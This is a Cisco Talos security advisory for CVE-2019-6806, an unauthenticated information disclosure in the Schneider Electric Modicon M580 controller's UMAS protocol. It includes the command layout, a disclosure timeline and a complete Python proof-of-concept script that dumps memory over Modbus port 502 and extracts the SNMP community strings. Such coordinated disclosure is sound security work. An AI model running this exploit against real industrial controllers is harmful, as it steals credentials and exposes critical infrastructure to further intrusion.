Talos Vulnerability Report

TALOS-2019-0769

Schneider Electric Modicon M580 UMAS read system blocks and bits information disclosure vulnerability

June 10, 2019
CVE Number

CVE-2019-6806

Summary

An exploitable information disclosure vulnerability exists in the UMAS Read System Blocks and Bits functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of memory, resulting in the disclosure of plaintext read, write, and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

The device supports a UMAS command that allows the user to read arbitrary bits and blocks of data from its programmed strategy, indicated by the use of the function code 0x22. When this command is used against the block containing the device security configuration, it is possible to read far enough into the file to obtain the read, write, and trap SNMP community strings.

The structure of the READSYSTEMBLOCKSANDBITS command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |       D       | E | F |   G   | H |   I   | J |
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code   (0x22)
D --> Shifted Project CRC  (obtained via a READ_PLC_INFO command)
E --> Values to Read
F --> Data Type            (0x01)
G --> Block Number
H --> Unknown              (0x01)
I --> Base Offset           
J --> Relative Offset

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def main():
    rhost = "192.168.10.1"
    rport = 502

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    # READ_PLC_INFO
    mbtcp_fnc       = "\x5a"
    session         = "\x00"
    func_code       = "\x04"
    umas = "%s%s%s" % (mbtcp_fnc, session, func_code)
    res = send_message(sock=s, umas=umas)
    crc = struct.unpack("<I", res[14:18])[0]
    shifted_crc = crc << 1

    # READ_SYSTEM_BLOCKS_AND_BITS
    mbtcp_fnc       = "\x5a"
    session         = "\x00"
    func_code       = "\x22"
    crc             = struct.pack("<I", shifted_crc)
    values_to_read  = "\x01"
    data_type       = "\x01"
    block_num       = "\x48\x00"
    unknown         = "\x01"

    data = ""
    for i in xrange(0x05):
        for j in xrange(0x100):
            base_offset = struct.pack("<H", i)
            relative_offset = struct.pack("B", j)
            umas = "%s%s%s%s%s%s%s%s%s%s" % (mbtcp_fnc, session, func_code, crc, values_to_read, data_type, block_num, unknown, base_offset, relative_offset)
            res = send_message(sock=s, umas=umas)
            if res[9] == "\xfe":
                data += res[-1]


    # parse the downloaded data
    # start by searching for a static heading and cropping down the data
    bfpx_index = data.index("BFPX")
    services_section_data = data[bfpx_index:]
    bfpx_data_size = 0x38

    # parse the downloaded data
    # parse the zip file section header table
    services_data = services_section_data[bfpx_data_size:]
    services_data_len = len(services_data)
    data_offset = 0
    snmp_size = 0
    snmp_offset = 0
    header_size = 0x1c
    headers = 0
    for i in xrange(0, services_data_len, header_size):
        section_name = services_section_data[i+0x01:i+0x10]
        if section_name[:3] == "ST_":
            headers += 1
            if "ST_SNMP" in section_name:
                snmp_size = struct.unpack("<H", services_section_data[i+0x19:i+0x1b])[0]
                snmp_offset = data_offset
            data_offset += struct.unpack("<H", services_section_data[i+0x19:i+0x1b])[0]
    snmp_offset += headers * header_size

    # parse the snmp section data
    snmp_data = services_data[snmp_offset:snmp_offset+snmp_size]
    comm_string_size = 16
    write_offset = 0
    read_offset = write_offset + comm_string_size
    trap_offset = read_offset + comm_string_size

    write = snmp_data[write_offset:read_offset]
    read = snmp_data[read_offset:trap_offset]
    trap = snmp_data[trap_offset:trap_offset+comm_string_size]

    print "Write:\t%s" % (write)
    print "Read:\t%s" % (read)
    print "Trap:\t%s" % (trap)

    # clean up
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos